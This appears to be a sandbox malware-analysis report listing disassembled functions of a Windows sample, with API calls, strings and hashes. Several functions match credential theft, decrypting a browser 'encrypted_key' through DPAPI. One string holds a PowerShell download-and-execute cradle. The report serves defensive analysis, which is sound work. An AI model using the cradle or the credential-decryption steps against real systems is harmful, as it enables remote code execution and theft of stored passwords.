Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 012773f07e40ab199da626d4d54c0acab2c77db2b16065f034def323a9c1e1aa
Instruction ID: 9ef76494a03a448b7eb51379a93fa2a9b404ab6e3129d392d994bea8a5bd7f35
Opcode Fuzzy Hash: 012773f07e40ab199da626d4d54c0acab2c77db2b16065f034def323a9c1e1aa
Instruction Fuzzy Hash: 4441DD71E102089EDB14FFA0D896BEDB775AF15300F504119E106BB192DF746A4ACFA6

Function 00060D90 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00060DB8
strtok_s.MSVCRT ref: 00060EFD

Part of subcall function 0006A820: lstrlenA.KERNEL32(00000000,?,?,00065B54,00070ADB,00070ADA,?,?,00066B16,00000000,?,00BBFAB0,?,0007110C,?,00000000), ref: 0006A82B
Part of subcall function 0006A820: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A885

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: e0bcdb3949584b26c417835940172d5b745ba0200430fdb3e8cb61001c3f5dfa
Instruction ID: f30835696769e50fe0b3871a2a87aab6caee00e111a16caf5a8ec9fd4632131d
Opcode Fuzzy Hash: e0bcdb3949584b26c417835940172d5b745ba0200430fdb3e8cb61001c3f5dfa
Instruction Fuzzy Hash: 4C518DB4A4020AEFCB18DF94D495AAE77B6FF44304F108159E806AB391D731EE91CF91

Function 00059CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 000599C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000599EC
Part of subcall function 000599C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00059A11
Part of subcall function 000599C0: LocalAlloc.KERNEL32(00000040,?), ref: 00059A31
Part of subcall function 000599C0: ReadFile.KERNEL32(000000FF,?,00000000,000602E7,00000000), ref: 00059A5A
Part of subcall function 000599C0: LocalFree.KERNEL32(000602E7), ref: 00059A90
Part of subcall function 000599C0: CloseHandle.KERNEL32(000000FF), ref: 00059A9A

Part of subcall function 00068E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00068E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00059D39

Part of subcall function 00059AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00054EEE,00000000,00000000), ref: 00059AEF
Part of subcall function 00059AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00054EEE,00000000,?), ref: 00059B01
Part of subcall function 00059AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00054EEE,00000000,00000000), ref: 00059B2A
Part of subcall function 00059AC0: LocalFree.KERNEL32(?,?,?,?,00054EEE,00000000,?), ref: 00059B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00059D92

Part of subcall function 00059B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00059B84
Part of subcall function 00059B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00059BA3
Part of subcall function 00059B60: memcpy.MSVCRT(?,?,?), ref: 00059BC6
Part of subcall function 00059B60: LocalFree.KERNEL32(?), ref: 00059BD3

Strings

, xrefs: 00059DC1
"encrypted_key":", xrefs: 00059D30
DPAPI, xrefs: 00059D89

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 8b1ff704fc3bd4c30320be7741c86df5bfd101cc74fe6e1e568cf27d01b0a530
Instruction ID: 37c72b6081e37f54881cf888a0952075ab80c985031b04ea3c71f83c93fc11e7
Opcode Fuzzy Hash: 8b1ff704fc3bd4c30320be7741c86df5bfd101cc74fe6e1e568cf27d01b0a530
Instruction Fuzzy Hash: A5313EB5D10209EBCF04DFE4DC85AEFB7B9AF48305F148519E905A7242EB349A18CBA1

Function 00066920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0007110C,?,?,00066B11,00000000,?,00BBFAB0,?,0007110C,?,00000000,?), ref: 0006696C
sscanf.NTDLL ref: 00066999
SystemTimeToFileTime.KERNEL32(0007110C,00000000,?,?,?,?,?,?,?,?,?,?,?,00BBFAB0,?,0007110C), ref: 000669B2
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00BBFAB0,?,0007110C), ref: 000669C0
ExitProcess.KERNEL32 ref: 000669DA

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: ab7f3f9bd796478fba85a0045fdb3164ed606652f7ec9b4f3c08bda885885d19
Instruction ID: 8d33dedf4b5a324e85613c248d043aa67a53910b29766a45fe05b13ccf16c52b
Opcode Fuzzy Hash: ab7f3f9bd796478fba85a0045fdb3164ed606652f7ec9b4f3c08bda885885d19
Instruction Fuzzy Hash: 9121AB75D14209ABCF44EFE4E9499EEB7BABF48300F04852AE506E3250EB355605CBA5

Function 00067E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00067E37
HeapAlloc.KERNEL32(00000000), ref: 00067E3E
RegOpenKeyExA.ADVAPI32(80000002,00BCB6B8,00000000,00020119,?), ref: 00067E5E
RegQueryValueExA.ADVAPI32(?,00BD0CF8,00000000,00000000,000000FF,000000FF), ref: 00067E7F
RegCloseKey.ADVAPI32(?), ref: 00067E92

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 519737a0960c1da2a55b3d3b82c45d6ce70bf807b83880e32c063173e105703c
Instruction ID: 8fb91ee0fdc94cd9dba5510f32d0cac6f8d75f300c8e564d8d14a1165da2c3ca
Opcode Fuzzy Hash: 519737a0960c1da2a55b3d3b82c45d6ce70bf807b83880e32c063173e105703c
Instruction Fuzzy Hash: 65113AB1A44305EBD710CB95ED4AFAFBBB9FB48B14F10415AFA09A7280D77558048BE2

Function 00069260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00BD09D0,?,?,?,0006140C,?,00BD09D0,00000000), ref: 0006926C
lstrcpyn.KERNEL32(0029AB88,00BD09D0,00BD09D0,?,0006140C,?,00BD09D0), ref: 00069290
lstrlenA.KERNEL32(?,?,0006140C,?,00BD09D0), ref: 000692A7
wsprintfA.USER32 ref: 000692C7

Strings

%s%s, xrefs: 000692B5

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: ac7effe3ed101aa390f7281601254fb6f9751e2a74044bf228fda1327dccd1bf
Instruction ID: ed2d42cd40ab24ffa7ce158f3b034a09641c024e5bc9469da2751d7cc174155c
Opcode Fuzzy Hash: ac7effe3ed101aa390f7281601254fb6f9751e2a74044bf228fda1327dccd1bf
Instruction Fuzzy Hash: 8101DA75500208FFCB04DFECD999EAE7BB9EF58354F108148F9099B204C631AA50DBE1

Function 000512A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 000512B4
HeapAlloc.KERNEL32(00000000), ref: 000512BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 000512D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 000512F5
RegCloseKey.ADVAPI32(?), ref: 000512FF

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 0691f118cff9c1f51002294120b8a9ec341ac65df2d4024681196472a31768f7
Instruction ID: c9ffc0004ba5ea80e01d6b8feb869fd7ea56cd3a6e1f1c4c9204a2f4f84954d1
Opcode Fuzzy Hash: 0691f118cff9c1f51002294120b8a9ec341ac65df2d4024681196472a31768f7
Instruction Fuzzy Hash: 2901C2B5A40308BBDB04DFD4EC4DFAEB7B8FB48701F108159FA0597280D6759A058B91

Function 0006C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0006C74E

Part of subcall function 0006BF9F: __getptd_noexit.LIBCMT ref: 0006BFA2
Part of subcall function 0006BF9F: __amsg_exit.LIBCMT ref: 0006BFAF

__getptd.LIBCMT ref: 0006C765
__amsg_exit.LIBCMT ref: 0006C773
__lock.LIBCMT ref: 0006C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0006C797

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ebde53116bcac1cd0eac1d841dc372e03fc4784bb44a22ad1d2b1ee7811669a0
Instruction ID: 52cc50a058548de5cf5cb22cc9e4a3cacdcc5865ff853000c2945559d90e0fa1
Opcode Fuzzy Hash: ebde53116bcac1cd0eac1d841dc372e03fc4784bb44a22ad1d2b1ee7811669a0
Instruction Fuzzy Hash: 12F09072E096009BF760BBB89806BAE33E36F00720F204159F558F61D3DF6859819F5A

Function 00066630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00066663

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

ShellExecuteEx.SHELL32(0000003C), ref: 00066726
ExitProcess.KERNEL32 ref: 00066755

Strings

<, xrefs: 000666D9

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 9548998344f6ac36b3a126f1fae18ec532afd7ed7c0927b96a2cffa77bdba63f
Instruction ID: e603381a7c7443efdb51696b045ac2a85cb62724f6f962d9f994ecf4248840d1
Opcode Fuzzy Hash: 9548998344f6ac36b3a126f1fae18ec532afd7ed7c0927b96a2cffa77bdba63f
Instruction Fuzzy Hash: 9B312BB1D01218AADB14EB90DC96BDEB779AF04300F804199F20A76192DF746B48CFA6

Function 00068D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0006951E,00000000), ref: 00068D5B
HeapAlloc.KERNEL32(00000000,?,?,0006951E,00000000), ref: 00068D62
wsprintfW.USER32 ref: 00068D78

Strings

%hs, xrefs: 00068D6F

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 2079f6d2ff97d145d5366e29f8aa64b455c5bc9513292c603e7ff25530aa0a5c
Instruction ID: 04cc0e7aeee027dfa63ecf01a47f7fa396ad025ebb410bc7fed461fbbafc8b08
Opcode Fuzzy Hash: 2079f6d2ff97d145d5366e29f8aa64b455c5bc9513292c603e7ff25530aa0a5c
Instruction Fuzzy Hash: 25E0ECB5A40308FBD710DBD4ED0EE6DB7B8EB44702F004196FE0997380DA759E109B96

Function 0005A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 00068B60: GetSystemTime.KERNEL32(?,00BC4790,000705AE,?,?,?,?,?,?,?,?,?,00054963,?,00000014), ref: 00068B86

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0005A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0005A3FF
lstrlenA.KERNEL32(00000000), ref: 0005A6BC

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 00059E10: memcmp.MSVCRT(?,v20,00000003), ref: 00059E2D

DeleteFileA.KERNEL32(00000000), ref: 0005A743

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: 5aefe0d4be734cbd01b54d0b9b8506d5d420efb5639eb07ad5febd8fe631a3d4
Instruction ID: a50a0b88232c6fc34b67ae6a4658a603c25218925eaac1176386743ce4a193b1
Opcode Fuzzy Hash: 5aefe0d4be734cbd01b54d0b9b8506d5d420efb5639eb07ad5febd8fe631a3d4
Instruction Fuzzy Hash: 97E1EC72A101089ADB04FBA4ED96EEE7339AF15300F508159F51677092EF346A4DCFB6

Function 0005D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 00068B60: GetSystemTime.KERNEL32(?,00BC4790,000705AE,?,?,?,?,?,?,?,?,?,00054963,?,00000014), ref: 00068B86

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0005D481
lstrlenA.KERNEL32(00000000), ref: 0005D698
lstrlenA.KERNEL32(00000000), ref: 0005D6AC
DeleteFileA.KERNEL32(00000000), ref: 0005D72B

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 488905d1189c9d3ddb55cb5038d3aa9e3d880f5eea6491b5543c7ce553c8aabc
Instruction ID: bec16fe65bc26c732d2977ca18411cfe90c0ba19b7f357ba72f359276e17bc89
Opcode Fuzzy Hash: 488905d1189c9d3ddb55cb5038d3aa9e3d880f5eea6491b5543c7ce553c8aabc
Instruction Fuzzy Hash: CC91DF72A101089ADB04FBA4DD96EEE7339AF15300F504169F517B7092EF346A4DCFA2

Function 0005D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 00068B60: GetSystemTime.KERNEL32(?,00BC4790,000705AE,?,?,?,?,?,?,?,?,?,00054963,?,00000014), ref: 00068B86

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0005D801
lstrlenA.KERNEL32(00000000), ref: 0005D99F
lstrlenA.KERNEL32(00000000), ref: 0005D9B3
DeleteFileA.KERNEL32(00000000), ref: 0005DA32

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
